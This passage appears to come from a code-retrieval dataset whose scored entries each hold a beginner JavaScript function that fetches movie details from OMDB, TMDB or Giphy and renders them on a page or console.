'\\n\\n\\tMovie Title: ' + movieJson.Title;\n displayResults += '\\n\\tYear The Movie Was Released: ' + movieJson.Year;\n displayResults += '\\n\\tInternet Movie Database Rating: ' + movieJson.Ratings[0].Value;\n\n // Sometimes a movie doesn't have a Rotten Tomatoes rating\n\tif (movieJson.Ratings.length === 1) {\n \tdisplayResults += '\\n\\tRotten Tomatoes Rating: Unavailable';\n }\n else {\n displayResults += '\\n\\tRotten Tomatoes Rating: ' + movieJson.Ratings[1].Value;\n }\n\n displayResults += '\\n\\tProduced In The Country(s) Of: ' + movieJson.Country;\n displayResults += '\\n\\tLanguage(s) Available: ' + movieJson.Language;\n displayResults += '\\n\\tMovie Plot: ' + movieJson.Plot;\n displayResults += '\\n\\tActors: ' + movieJson.Actors;\n\n console.log(displayResults);\n\n writeLog();\n}", "title": "" }, { "docid": "b291f641c6f4579acc4a97f337e8217b", "score": "0.6555399", "text": "function displayMovie(input) {\n\t// We then run the request module on a URL with a JSON\nRequest(\"http://www.omdbapi.com/?t=\" +input + \"&y=&plot=short&apikey=trilogy\", function(error, response, body) {\n\n // If there were no errors and the response code was 200 (i.e. the request was successful)...\n if (!error && response.statusCode === 200) {\n\n // Then we print out the imdbRating\n console.log(\"Title\" + \" \" +JSON.parse(body).Title);\n console.log(\"Year\" + \" \" +JSON.parse(body).Year);\n console.log(\"Country\" +\" \" + JSON.parse(body).Country);\n console.log(\"Actors\" + \" \" + JSON.parse(body).Actors);\n console.log(\"Language\" + \" \" + JSON.parse(body).Language);\n console.log(\"IMDB RATING\" + \" \" + JSON.parse(body).imdbRating);\n console.log(\"Plot\" + \" \" + JSON.parse(body).Plot);\n }\n});\n}", "title": "" }, { "docid": "5f513247ded25f23b5d2cf1b39374db6", "score": "0.6537208", "text": "function movieinfo() {\n \n var movieSearch = $(\"#movieSearch\").val().trim();\n var movRating = 10;\n\n var queryURL = \"https://www.omdbapi.com/?t=\" + movieSearch + \"&apikey=388edf5a\";\n console.log(queryURL);\n // Creating an AJAX call for the specific movie \n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n //console.log(response);\n\n //var movie Plot \n var moviePlot = response.Plot;\n //console.log(moviePlot); \n\n //var moviePoster\n var moviePoster = response.Poster;\n\n if (moviePoster === \"N/A\") {\n alert(\"Movie Poster not found!\");\n }\n\n // var noimagePoster = \"./assets/images/link.png\"\n // var imgMovie = $(\".mvImg\").attr(\"src\", noimagePoster);\n // movieInfo.append(imgMovie);\n\n //console.log(moviePoster);\n\n //var movieTitle \n var movieTitle = response.Title;\n //console.log(movieTitle);\n\n // var movieDirector \n var movieDirector = response.Director;\n //console.log(movieDirector);\n\n //var Actors \n var movieActors = response.Actors;\n //console.log(movieActors);\n\n //var Ratings \n var movieRating = response.imdbRating;\n\n console.log(movieRating);\n if (movieRating === undefined) {\n alert(\"Movie not found!\");\n return false\n }\n\n //var movieReleased \n var movieReleased = response.Released;\n console.log(movieReleased);\n\n //Div trailerInfo\n\n //var movieInfo = $(\"<div id='movieInfo'>\");\n var movieInfo = $(\"#trailerInfo\");\n //Title Information \n var Title = $(\".title\").text(\"Movie: \" + movieTitle);\n\n // Img \n var imgMovie = $(\".mvImg\").attr(\"src\", moviePoster);\n movieInfo.append(imgMovie);\n\n //Plot information \n movieInfo.append(Title);\n\n //Movie Name\n var Plot = $(\".overview\").text(\"Overview: \" + moviePlot);\n movieInfo.append(Plot);\n\n // Rating information\n var Rating = $(\".rating\").text(\"Movie Rating: \" + movieRating + \"/\" + movRating);\n //console.log(Rating);\n movieInfo.append(Rating);\n\n // Actors Information \n var Actors = $(\".actors\").text(\"Actors: \" + movieActors);\n movieInfo.append(Actors);\n\n // Director \n var director = $(\".director\").text(\"Director: \" + movieDirector);\n movieInfo.append(director);\n\n // Released \n\n var realeased = $(\".release\").text(\"Released: \" + movieReleased);\n movieInfo.append(realeased);\n\n var trailerBtn = $(\".button1\");\n movieInfo.append(trailerBtn);\n\n $(\"#trailerInfo\").append(movieInfo);\n //$(\"#trailer\").append(movieTrailer);\n\n }\n )\n }", "title": "" }, { "docid": "6a8c89bf265b0c2e13b853ea148b4793", "score": "0.6523464", "text": "function loadMovieDetails(movieDetails){\r\n if(movieDetails.hasOwnProperty(\"Error\"))\r\n {document.querySelector(\"#error-msg\").innerText=\"The movie you requested was not found!\";\r\n var id=document.getElementById(\"viewTop\");\r\n $('html, body').animate({scrollTop: $(id).offset().top}, 200);\r\n}\r\n else{\r\n const movieInfo = document.getElementById(\"movie-info\");\r\n const movieImage = document.getElementById(\"movie-image\");\r\n movieInfo.innerHTML = `\r\n <div>\r\n <p class=\"blue-text\"><span class=\"col-sm-2\">Title </span> ${movieDetails.Title}</p><hr>\r\n <p class=\"blue-text\"><span class=\"col-sm-2\">Actors </span> ${movieDetails.Actors}</p><hr>\r\n <p class=\"blue-text\"><span class=\"col-sm-2\">Awards </span> ${movieDetails.Awards}</p><hr>\r\n <p class=\"blue-text\"><span class=\"col-sm-2\">Box Office </span> ${movieDetails.BoxOffice}</p><hr>\r\n <p class=\"blue-text\"><span class=\"col-sm-2\">Director </span> ${movieDetails.Director}</p><hr>\r\n <p class=\"blue-text\"><span class=\"col-sm-2\">Genre </span> ${movieDetails.Genre}</p><hr>\r\n <span class=\"col-sm-2\">Plot </span> <p class=\"blue-text\"> ${movieDetails.Plot}</p><hr>\r\n <p class=\"blue-text\"><span class=\"col-sm-2\">Released </span> ${movieDetails.Released}</p><hr>\r\n <p class=\"blue-text\"><span class=\"col-sm-2\">Writer </span> ${movieDetails.Writer}</p><hr>\r\n <p class=\"blue-text\"><span class=\"col-sm-2\">IMDB Rating </span> ${movieDetails.imdbRating}</p><hr>\r\n <p class=\"blue-text\"><span class=\"col-sm-2\">IMDB votes </span> ${movieDetails.imdbVotes}</p>\r\n </div>\r\n\r\n `;\r\n movieImage.innerHTML = `\r\n \r\n <div class=\"image\"><img class=\"anime-image\" src=${movieDetails.Poster}> </img></div>\r\n \r\n `;}\r\n \r\n}", "title": "" }, { "docid": "f7ef09e369b0eaa421ab37268c1ecbb6", "score": "0.6510012", "text": "function displayMovieList(theMovieDbPath, searchTitle) {\n // requete jQuery à la base de données the movie database. enregistré dans \"request\"\n $.getJSON(theMovieDbPath, function(request) {\n var trendingMovies = request.results; // request est un objet, avec la catégorie qui nous intéresse : \"results\". c'est un tableau qui contient les objets relatifs aux films\n \n var section = $('<section class=\"movie-list\">'); // on crée un élément section\n var title = $('<h2>' + searchTitle + '</h2>')\n section.append(title);\n $.each(trendingMovies, function(index, movie) { // pour chaque élément du tableau contenant les objets movie :\n console.log(movie.release_date);\n if (movie.release_date === undefined) {\n movie.release_date = \"Date inconnue\"\n } else {\n movie.release_date = movie.release_date.substring(0,4)\n }\n var figure = $('<figure data-id=\"' + movie.id + '\"><img src=\"' + posterPath(movie, 'w154') + '\" alt=\"Affiche du film ' + movie.title + '\"><figcaption>' + movie.title + ' - ' + movie.release_date + '</figcaption></figure>'); // création des éléments figure, img, et figcaption\n\n section.append(figure); // et mettre la figure dans ma section\n });\n $('main').empty().append(section); // on affiche le ul, càd la liste des films tendance\n });\n}", "title": "" }, { "docid": "f4fe93888a11e85d45c7ceb80a57d0d7", "score": "0.64404196", "text": "function show_movie(res) {\n\t\n\tvar movie_list_holder = $('#search_movie_results');\n\tvar my_title = $(\"#title\");\n\tvar my_year = $(\"#year\");\n\tvar my_ratings = $(\"#rating_details\");\n\tvar my_poster = $(\"#movie_poster\");\n\tvar my_rated = $(\"#rated\");\n\tvar my_runtime = $(\"#runtime\");\n\tvar my_genre = $(\"#genre\");\n\tvar my_year_released = $(\"#year_released\");\n\tvar my_short_description = $(\"#short_description\");\n\tvar my_director = $(\"#director\");\n\tvar my_writer = $(\"#writer\");\n\tvar my_actors = $(\"#actors\");\n\t\n\tvar params = {\n\t\t\"title\" : res\n\t}\n\n\t$.ajax({\n\t\ttype: \"POST\",\n\t\turl: \"http://www.omdbapi.com/?i=tt3896198&apikey=43cdb56a\",\n\t\tdata: params,\n\n\t\tsuccess: function(data){\n\n\t\t\tif(data) {\n\t\t\t\t\n\t\t\t\t$.each(data, function(index, value) {\n\t\t\t\t\t\n\t\t\t\t\tif(index == \"Title\") {\n\t\t\t\t\t\tvar title = value.toLowerCase();\n\t\t\t\t\t\tvar query = res.toLowerCase();\n\t\t\t\t\t\tif(query.length > 0) {\n\t\t\t\t\t\t\tif(title.indexOf(query) == 0) {\n\t\t\t\t\t\t\t\tmy_title.html(value);\n\t\t\t\t\t\t\t\tmy_title.attr('value', value);\n\t\t\t\t\t\t\t\tif(movie_list_holder.hasClass('none')) {\n\t\t\t\t\t\t\t\t\tmovie_list_holder.removeClass('none');\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\tif(index == 'Poster') {\n\t\t\t\t\t\tmy_poster.attr('src', value);\n\t\t\t\t\t\tmy_poster.attr('value', value);\n\t\t\t\t\t}\n\t\t\t\t\tif(index == 'Year') {\n\t\t\t\t\t\tmy_year.html('('+value+')');\n\t\t\t\t\t\tmy_year.attr('value', value);\n\t\t\t\t\t}\n\t\t\t\t\tif(index == 'imdbRating') {\n\t\t\t\t\t\tmy_ratings.html('<i class=\"fa fa-star\" aria-hidden=\"true\"></i><span id=\"ratings\">'+value+'/10</span>');\n\t\t\t\t\t\tmy_ratings.attr('value', value+'/10');\n\t\t\t\t\t\t\n\t\t\t\t\t}\n//\t\t\t\t\tif(index == 'imbdVotes') {\n//\t\t\t\t\t\tvar my_votes = $('<input type=\"hidden\">'+value+'</input>').appendTo(my_ratings);\n//\t\t\t\t\t}\n\n\t\t\t\t\tif(index == 'Rated') {\n\t\t\t\t\t\tmy_rated.html(value);\n\t\t\t\t\t\tmy_rated.attr('value', value);\n\t\t\t\t\t}\n\t\t\t\t\tif(index == 'Runtime') {\n\t\t\t\t\t\tmy_runtime.html(value);\n\t\t\t\t\t\tmy_runtime.attr('value', value);\n\t\t\t\t\t}\n\n\t\t\t\t\tif(index == 'Genre') {\n\t\t\t\t\t\tmy_genre.html(value);\n\t\t\t\t\t\tmy_genre.attr('value', value);\n\t\t\t\t\t}\n\t\t\t\t\tif(index == 'Released') {\n\t\t\t\t\t\tmy_year_released.html(value);\n\t\t\t\t\t\tmy_year_released.attr('value', value);\n\t\t\t\t\t}\n\t\t\t\t\tif(index == 'Plot') {\n\t\t\t\t\t\tmy_short_description.html(value);\n\t\t\t\t\t\tmy_short_description.attr('value', value);\n\t\t\t\t\t}\n\t\t\t\t\tif(index == 'Director') {\n\t\t\t\t\t\tmy_director.html(value);\n\t\t\t\t\t\tmy_director.attr('value', value);\n\t\t\t\t\t}\n\t\t\t\t\tif(index == 'Writer') {\n\t\t\t\t\t\tmy_writer.html(value);\n\t\t\t\t\t\tmy_writer.attr('value', value);\n\t\t\t\t\t}\n\t\t\t\t\tif(index == 'Actors') {\n\t\t\t\t\t\tmy_actors.html(value);\n\t\t\t\t\t\tmy_actors.attr('value', value);\n\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t});\n\n\t\t\t}\n\t\t}\n\n\t});\n\n}", "title": "" }, { "docid": "6e2fb59d7ee4beb5c3416e7deb434cce", "score": "0.6431249", "text": "function showMovieInfo(movie) {\n var request = require(\"request\");\n\n // Then run a request to the OMDB API with the movie specified\n var queryUrl = \"http://www.omdbapi.com/?t=\" + movie + \"&y=&plot=short&apikey=trilogy\";\n request(queryUrl, function (error, response, body) {\n\n // If the request is successful (i.e. if the response status code is 200)\n if (!error && response.statusCode === 200) {\n\n // Parse the body of the site and recover just the imdbRating\n // (Note: The syntax below for parsing isn't obvious. Just spend a few moments dissecting it).\n //console.log(JSON.parse(body));\n var movieInfo = JSON.parse(body);\n console.log(\n `Title : ${movieInfo.Title}\nYear : ${movieInfo.Year}\nIMDB Rating : ${movieInfo.imdbRating}\nRotten Tomatoes Rating : ${ movieInfo.Ratings[1].Value}\nCountry : ${movieInfo.Country}\nLanguage : ${movieInfo.Language}\nPlot of the movie : ${movieInfo.Plot}\nActors : ${movieInfo.Actors}`);\nvar info = \n`Title : ${movieInfo.Title}\nYear : ${movieInfo.Year}\nIMDB Rating : ${movieInfo.imdbRating}\nRotten Tomatoes Rating : ${ movieInfo.Ratings[1].Value}\nCountry : ${movieInfo.Country}\nLanguage : ${movieInfo.Language}\nPlot of the movie : ${movieInfo.Plot}\nActors : ${movieInfo.Actors}`;\nlogInfo(info);\n }\n });\n}", "title": "" }, { "docid": "7cebe46850c89279c7202eac018b3d4b", "score": "0.6430844", "text": "function renderMovies(movies) {\n\t// for each movie\n\tfor (var i in movies) {\n\t\t// add a movie image to the gallery\n\t\t$(\"#rotten-gallery\").append(\"<div class=\\\"movie\\\"><div class=\\\"movie-left\\\"><img src=\\\"\" + movies[i].posters.original + \"\\\" /></div><div class=\\\"movie-info\\\"><h3>\" + movies[i].title + \"</h3><p>\" + movies[i].year + \"</p><a href=\\\"\" + movies[i].links.alternate + \"\\\" target=\\\"_blank\\\">Source</a></div>\");\n\t\t//console.log(\"<div class=\\\"third\\\"><img src=\\\"\" + movies[i].posters.original + \"\\\" /><div class=\\\"movie-info\\\"><h3>\" + movies[i].title + \" (\" + movies[i].year + \")</h3></div><a href=\\\"\" + movies[i].links.alternate + \"\\\" target=\\\"_blank\\\">Source</a></div>\");\n\t}\n}", "title": "" }, { "docid": "b25ca1e083dd627ed896a60d3c2f9372", "score": "0.6417399", "text": "function showMovieDetail(movieName){\n //setting default movie to 'Mr.Nobody' if no movie name is passed from command line\n if(movieName===undefined){\n movieName=\"Mr.Nobody\";\n }\n request(\"http://www.omdbapi.com/?t=\" + movieName + \"&type=movie&apikey=trilogy\",\n function(error, response, body) {\n // If the request is successful display details\n if(!error && response.statusCode === 200){\n console.log(`Title of the movie.... ${JSON.parse(body).Title}`);\n console.log(`Year the movie came out.... ${JSON.parse(body).Year}`);\n console.log(`IMDB rating of the movie.... ${JSON.parse(body).imdbRating}`);\n console.log(`Rotten Tomatoes Rating of the movie..... ${JSON.parse(body).Ratings[1].Value}`);\n console.log(`Country where the movie was produced.... ${JSON.parse(body).Country}`);\n console.log(`Language of the movie.... ${JSON.parse(body).Language}`);\n console.log(`Plot of the movie.... ${JSON.parse(body).Plot}`);\n console.log(`Actors in the movie.... ${JSON.parse(body).Actors}`);\n }else{ //If request is not successful then inform user of the error\n console.log(\"Something went wrong in fetching movie details.\");\n }\n }\n );\n}", "title": "" }, { "docid": "39a143a94ceae438f8248a4cc2d1e1e2", "score": "0.6406169", "text": "function displayMovieInfo() {\n\n var movie = $(this).attr(\"data-name\");\n var xhr = $.get(\"https://api.themoviedb.org/3/movie/550?api_key=373b98cfb44a36458b78fb8be90e88e2\")\n xhr.done(function(data) {\n console.log(\"Success got data\", data);\n })\n}", "title": "" }, { "docid": "8f0cadf767321c7d9be571cdeba7ea09", "score": "0.64038014", "text": "function displayMovies(data){\n if(typeof data.Search === \"undefined\"){\n Movies += \"<li class='no-movies'>\";\n Movies += \"<i class='material-icons icon-help'>help_outline</i>No movies found that match: \" + title;\n Movies += \"</li>\";\n } else {\n $.each(data.Search, function(i,Results){\n Movies += '<li>' + '<div class=\"poster-wrap\">';\n\n if(Results.Poster==\"N/A\"){\n Movies += '<i class=\"material-icons poster-placeholder\" id=' +Results.imdbID+ '>crop_original</i>';\n } else {\n Movies += '<img style=\"cursor:pointer\" class=\"movie-poster\"' + ' id='+ Results.imdbID + ' src=\"' + \"http://img.omdbapi.com/?i=\" + Results.imdbID + \"&apikey=7c37867a\" + '\">';\n }\n\n Movies += '</div>';\n Movies += '<span class=\"movie-title\">' + Results.Title + '</span>';\n Movies += '<span class=\"movie-year\">' + Results.Year + '</span>';\n Movies += '</li>';\n });\n }\n\n //Populate page with search results\n $(\"#movies\").append(Movies);\n }", "title": "" }, { "docid": "6fa0c93a1c97d638332fcf8794f09a76", "score": "0.6402532", "text": "function update(movie) {\n\t\tvar info = \"\";\n\t\tinfo += movie.getNumSlides() + ' frames<br/>' +\n\t\t\t'Average slide length: ' + secondsToDuration(movie.getAvgDurationPerSlide()) + '<br/>' +\n\t\t\tmovie.getSoundtrack().getSize() + ' Audio tracks<br/>';\n\t\tjQuery('#movie_duration').html('Total play time: ' + secondsToDuration(movie.getTotalDuration()));\n\t\tjQuery('#movie_info').html(info);\n\t}", "title": "" }, { "docid": "7c78dcbe88bcdbce8b62ccd36c97b72b", "score": "0.63995713", "text": "function displayMovies(movies) {\n //resets html to blank, so when user adds movie page is reset\n $(\"#movieContainer\").html(\"\");\n\n //generates html for displaying movie\n movies.forEach(function (movie) {$(\"#movieContainer\").append(\n `<div class=\"card col-md-4 mb-4 bg-light movie-card border-light\" data-id=${movie.id} id=\"card${movie.id}\">\n <img class=\"card-img-top\" src=\"${movie.poster}\" alt=${movie.id} id=\"poster${movie.id}\" style=\"width:100%\">\n <div class=\"card-body hide\" id=\"card-body${movie.id}\">\n <h4 class=\"card-title overflow-auto\" id=\"localMovie${movie.id}\">${movie.title}</h4>\n <p class=\"card-text overflow-auto\" id=\"movieYear${movie.id}\">${movie.year}</p>\n <p class=\"card-text overflow-auto\" id=\"movieRating${movie.id}\" data-id=${movie.rating}>Rating: ${movie.rating}</p>\n <p class=\"card-text overflow-auto\" id=\"moviePlot${movie.id}\">${movie.plot}</p>\n <button type=\"button\" id=\"editButton${movie.id}\" class=\"editButton\" data-id=${movie.id}>Edit</button>\n <button type=\"button\" id=\"deleteButton${movie.id}\" class=\"deleteButton\" data-id=${movie.id}>Delete</button>\n </div>\n </div>`);\n });\n cardHoverEventListener();\n}", "title": "" }, { "docid": "10e71fc68a764d4add0db6cc1395d51e", "score": "0.6353875", "text": "function renderMovies(data) {\n let moviesBlock = generateMoviesBlock(data);\n let header = createSectionHeader(this.title);\n moviesBlock.insertBefore(header, moviesBlock.firstChild);\n moviesContainer.appendChild(moviesBlock);\n}", "title": "" }, { "docid": "8777e6e8367fa53754242289a61da3a2", "score": "0.63446546", "text": "function displayMovies(data, elementId) {\n \n var userToken = Cookie.findLoggedUserToken();\n var content = document.getElementById(elementId);\n \n if (data.length > 0) {\n for (var i = 0; i < data.length; i++) {\n \n var movieItem = document.createElement(\"section\");\n movieItem.setAttribute('class', 'flex-container');\n movieItem.id = data[i].id;\n \n var divPosterTitle = document.createElement('div');\n divPosterTitle.className = 'poster-title';\n \n var divPoster = document.createElement('div');\n divPoster.className = 'poster';\n \n var moviePoster = document.createElement('img');\n \n if (data[i].poster == \"N/A\") {\n moviePoster.setAttribute('src', '../pages/resources/missing.jpg'); \n }\n else \n moviePoster.setAttribute('src', data[i].poster);\n \n moviePoster.className = 'img-movie';\n \n // moviePoster.innerHTML = data[i].poster; \n \n var divTitle = document.createElement('div');\n divTitle.className = 'title';\n \n var movieTitle = document.createElement('a');\n movieTitle.innerHTML = data[i].title;\n movieTitle.setAttribute('href', 'movieDetails.html?movieId=' + data[i].id);\n movieTitle.setAttribute('target', '_blank');\n \n var movieYear = document.createElement('p');\n movieYear.innerHTML = \"<span>Year:</span> \" + data[i].year;\n \n var movieimdbRating = document.createElement('p');\n movieimdbRating.innerHTML ='<span>Raiting:</span> ' + data[i].imdbRating + ' <i class=\"fa fa-star fa-2x\" aria-hidden=\"true\"></i>';\n \n var divButton = document.createElement('div');\n divButton.className = 'button-content';\n \n var editButton = document.createElement(\"button\");\n editButton.setAttribute(\"edit\",\"edit-movie\");\n editButton.setAttribute('id', 'edit');\n editButton.innerHTML = \"Edit\";\n editButton.addEventListener(\"click\", function(e) {\n window.location.href=\"editMovie.html?movieId=\" + e.path[2].id;\n });\n \n var deleteButton = document.createElement('button');\n deleteButton.setAttribute(\"delete\",\"delete-movie\");\n deleteButton.setAttribute('id', 'delete');\n deleteButton.innerHTML = 'Delete';\n \n if (!userToken) {\n editButton.setAttribute('class', 'hide');\n deleteButton.setAttribute('class', 'hide');\n document.getElementById('user-name').setAttribute('class', 'hide');\n }\n \n divPoster.appendChild(moviePoster);\n divTitle.appendChild(movieTitle);\n divTitle.appendChild(movieYear);\n divTitle.appendChild(movieimdbRating);\n divPosterTitle.appendChild(divPoster);\n divPosterTitle.appendChild(divTitle);\n divButton.appendChild(editButton);\n divButton.appendChild(deleteButton);\n movieItem.appendChild(divPosterTitle);\n movieItem.appendChild(divButton);\n content.appendChild(movieItem);\n }\n }\n}", "title": "" }, { "docid": "36bb8db046cc7a5229bf3c41b822d514", "score": "0.6338263", "text": "function showMovies(movies) {\n var titel = document.createElement('h1');\n titel.textContent = movies[2].title;\n header.appendChild(titel);\n\n var paragraaf = document.createElement('p');\n paragraaf.textContent = movies[2].simple_plot;\n header.appendChild(paragraaf);\n\n var cover = document.createElement('img');\n cover.src = movies[2].cover;\n header.appendChild(cover);\n}", "title": "" }, { "docid": "7751a6f1bf7b451ca229e84a5a2b04ef", "score": "0.6331467", "text": "function displayMovieInfo() {\n var movie = $(this).attr(\"data-name\");\n var queryURL = \"http://api.giphy.com/v1/gifs/search?q=\" + movie + \"&api_key=dc6zaTOxFJmzC&limit=5&offset=0\";\n // Creating an AJAX call for the specific movie button being clicked\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).done(function(response) {\n // Creating a div to hold the movie\n console.log(response);\n var movieDiv = $(\"<div class='movie'>\");\n \n // Retrieving the URL for the image\n var imgURL = response[\"data\"][0][\"images\"][\"fixed_height\"][\"url\"];\n // Creating an element to hold the image\n var image = $(\"<img class='pic'>\").attr(\"src\", imgURL);\n // Appending the image\n movieDiv.append(image);\n\n // Retrieving the URL for the image\n var imgURL1 = response[\"data\"][1][\"images\"][\"fixed_height\"][\"url\"];\n // Creating an element to hold the image\n var image1 = $(\"<img class='pic'>\").attr(\"src\", imgURL1);\n // Appending the image\n movieDiv.append(image1);\n\n // Retrieving the URL for the image\n var imgURL2 = response[\"data\"][2][\"images\"][\"fixed_height\"][\"url\"];\n // Creating an element to hold the image\n var image2 = $(\"<img class='pic'>\").attr(\"src\", imgURL2);\n // Appending the image\n movieDiv.append(image2);\n\n // Retrieving the URL for the image\n var imgURL3 = response[\"data\"][3][\"images\"][\"fixed_height\"][\"url\"];\n // Creating an element to hold the image\n var image3 = $(\"<img class='pic'>\").attr(\"src\", imgURL3);\n // Appending the image\n movieDiv.append(image3);\n\n // Retrieving the URL for the image\n var imgURL4 = response[\"data\"][4][\"images\"][\"fixed_height\"][\"url\"];\n // Creating an element to hold the image\n var image4 = $(\"<img class='pic'>\").attr(\"src\", imgURL4);\n // Appending the image\n movieDiv.append(image4);\n\n\n // Putting the entire movie above the previous movies\n $(\"#movies-view\").prepend(movieDiv);\n });\n }", "title": "" }, { "docid": "e7e1aa3c1a3c539d9b6388354a526806", "score": "0.63245326", "text": "function movieDetails(moviesArray, movieObj){\n let movieSpan = document.createElement('span')\n movieSpan.id = movieObj.id\n moviesList.append(movieSpan)\n //create elements for each movie detail\n let movieTitle = document.createElement('h1')\n movieSpan.append(movieTitle)\n movieTitle.innerText = movieObj.title\n \n let movieDirector=document.createElement('p')\n movieSpan.append(movieDirector)\n movieDirector.innerText= `Director: ${movieObj.director}`\n\n let movieYear= document.createElement('p')\n movieSpan.append(movieYear)\n movieYear.innerText = `Year: ${movieObj.year}` \n \n let movieGenre = document.createElement ('p')\n movieSpan.append(movieGenre)\n movieGenre.innerText = `Genre: ${movieObj.genre}`\n\n \n\n // Fetch the media (poster and trailer) from a thrid party API\n function getMedia (moviesArray,movieObj) {\n // 1. use the movie's title (moveObj.title) and api key to get a response from the api\n fetch(`https://api.themoviedb.org/3/search/movie?query=${movieObj.title}&api_key=9dc69d9c934ecf7b240cbdd0a32017d7`)\n .then (resp => resp.json())\n // 2. take the response from the backend and create a poster element, which is then appended to the DOM\n .then ((resp) => {\n let poster = resp.results[0].poster_path\n let moviePoster = document.createElement('img')\n moviePoster.src = `https://www.themoviedb.org/t/p/original${poster}`\n movieSpan.append(moviePoster)\n // 3. make another fetch request to the api, this time using the id which is pulled from the first response. this is necessary because in order to find a movie's trailer in the api, we need a unique movie id. the unique movie id can be found within the general information about the movie we got from the first fetch request. this makes it so that when a new movie is added by the user, they do not have to kn ow the movie's id in order to add it to the site.\n fetch(`\n https://api.themoviedb.org/3/movie/${resp.results[0].id}/videos?api_key=9dc69d9c934ecf7b240cbdd0a32017d7&language=en-US`)\n .then(response => response.json())\n // 4. take the response from the backend and create a trailer element, which is appended to the DOM\n .then ((response) => {\n let videoKey = response.results[0].key\n let movieTrailer = document.createElement('iframe')\n movieTrailer.src=`https://www.youtube.com/embed/${videoKey}`\n movieSpan.append(movieTrailer)\n })\n }) \n }\n\n getMedia(moviesArray,movieObj)\n filterMovies(moviesArray)\n \n let deleteButton = document.createElement('button')\n movieSpan.append(deleteButton)\n deleteButton.innerText = \"Delete\"\n deleteButton.id = movieObj.id\n deleteMovie(deleteButton, movieSpan)\n \n}", "title": "" }, { "docid": "3a02fe0019e76abfea6f8c4d5d7f5b55", "score": "0.63083273", "text": "function showMovieDetails(movie) {\n const { title, poster_path, vote_average, release_date, overview } = movie;\n let parent = document.createElement(\"div\");\n parent.classList.add(\"movie-detail-parent\");\n\n // transparent modal for movie details - on click pe aayega\n let trans = document.createElement('div');\n trans.classList.add(\"transparent\");\n\n // close btn modal delete k liye\n let closeBtn = document.createElement(\"button\");\n closeBtn.classList.add(\"close-btn\");\n closeBtn.innerHTML = 'X';\n\n // details add\n let details = document.createElement(\"div\");\n details.classList.add(\"movie-detail-container\");\n details.innerHTML = `<div class=\"img-details\"> <img src=\"${IMG_PATH + poster_path}\" alt=\"${title}\">\n <div class=\"details\">\n <h1>${title}</h1>\n <h3>Release : ${release_date.split(\"-\")[0]}</h3>\n <h3>Rating : ${vote_average}</h3>\n <h3>Overview</h3>\n <p>${overview}</p>\n </div></div>`;\n\n trans.addEventListener(\"click\", function () {\n parent.remove();\n });\n\n closeBtn.addEventListener(\"click\", function () {\n parent.remove();\n });\n\n parent.appendChild(trans);\n parent.appendChild(closeBtn);\n parent.appendChild(details);\n body.appendChild(parent);\n getSimilar(movie);\n}", "title": "" }, { "docid": "1beb39232c8506a5670ee848b9cbe5f9", "score": "0.630266", "text": "function getMovieInfo(a) {\n pageScroll = window.scrollY;\n $(\"#initButt\").hide();\n var result = $(\"#movieInfo\");\n result.children().empty();\n result.show();\n $(\"#image\").append(\"<img src='\" + imageURLS[a] + \"' width='500' height='250'>\");\n $(\"#movieHeader\").append(ghibli[a].title);\n $(\"#description\").append(ghibli[a].description + \"<br>\");\n $(\"#director\").append(\"Directed by \" + ghibli[a].director + \".<br><br>\");\n $(\"#release\").append(\"Released in \" + ghibli[a].release_date + \".<br><br>\");\n $(\"#rtScore\").append(\"Rotten Tomatoes™ Freshness: \" + ghibli[a].rt_score + \"<br><br>\");\n console.log(ghibli[a]);\n result.append(\"<button class=\\\"mtext\\\" id=\\\"back\\\" onclick=\\\"back()\\\">Back</button>\");\n\n window.scrollTo(0, 0);\n}", "title": "" }, { "docid": "81fae1842ac2ea92741caf654a733279", "score": "0.62562686", "text": "function showMovies(movies) { // Functie: Show Movies en info.\r\n\r\n// Alle code staat dus in een for loop, de JSON is geladen en telt het aantal records in de JSON. Op basis daarvan maakt hij voor elk record een div aan met bepaalde waardes.\r\n for (i = 0; i < movies.length; i++) { // For loop: Dezelfde code steeds opnieuw uitvoeren met telkens een andere waarde.\r\n\r\n var div = document.createElement('div'); // Vraag de Content & Container aan.\r\n var genres = movies[i].genres // Vraag de genres aan.\r\n filterclass = 'filterDiv ' + genres + ' show'; \r\n div.setAttribute('class', filterclass + ' card'); // Stelt de waarde in van een attribuut op het opgegeven element.\r\n document.getElementsByClassName('container')[0].appendChild(div); // Begin bij Evil Dead.\r\n document.getElementsByClassName('card')[i].innerHTML = '<img class=cover src=' + movies[i].cover + '>' + '<br><p class=titel>' + movies[i].title + '</p><br><p class=genre>' + movies[i].genres + '</p><br> <br><p class=plot>' + movies[i].simple_plot + '</p>'; // Roepen de covers, titels en genres op onder elkaar.\r\n Makeiframe(movies[i].trailer, [i]); // Maak een iFrame aan voor Trailers.\r\n }\r\n}", "title": "" }, { "docid": "f289ce4dddc26000308bbe6c59ec862d", "score": "0.62380856", "text": "function printMovies(data, container) {\n data.forEach(movie => {\n\n let movieContainer = document.createElement('div');\n movieContainer.className = \"movie\";\n\n let movieTitle = document.createElement('h3');\n movieTitle.className = \"movie-title\";\n\n let movieLink = document.createElement('a');\n movieLink.setAttribute('href', 'movieview.html?' + movie.id)\n\n movieLink.innerHTML = movie.title;\n movieTitle.append(movieLink);\n\n let movieImg = document.createElement('img');\n movieImg.className = \"movie-img\";\n movieImg.srcset = \"https://image.tmdb.org/t/p/w200\" + movie.poster_path;\n\n let imgLink = document.createElement('a');\n imgLink.setAttribute('href', 'movieview.html?' + movie.id)\n imgLink.appendChild(movieImg);\n\n movieContainer.appendChild(movieTitle);\n movieContainer.appendChild(imgLink);\n\n container.appendChild(movieContainer);\n });\n}", "title": "" }, { "docid": "53cf62a1d16f8150cb96bda9d181b352", "score": "0.6229554", "text": "function getMovieDetails() {\r\n let movie_id = document.getElementById('movie_select').value;\r\n if (movie_id != \"\") {\r\n params = '&movie_id=' + movie_id;\r\n makeAjaxGetRequest('admin_main.php', 'cmd_show_details_movie', params, updateMainContent);\r\n\r\n // Wait for content to load, then display tooltips.\r\n setTimeout(loadToolTips, 500);\r\n }\r\n}", "title": "" }, { "docid": "6ac0f2cb3338f958282a7f9cd73fe9bd", "score": "0.6200454", "text": "function filmsHtml(info) {\n let html = ``;\n\n for (let i = 0; i < 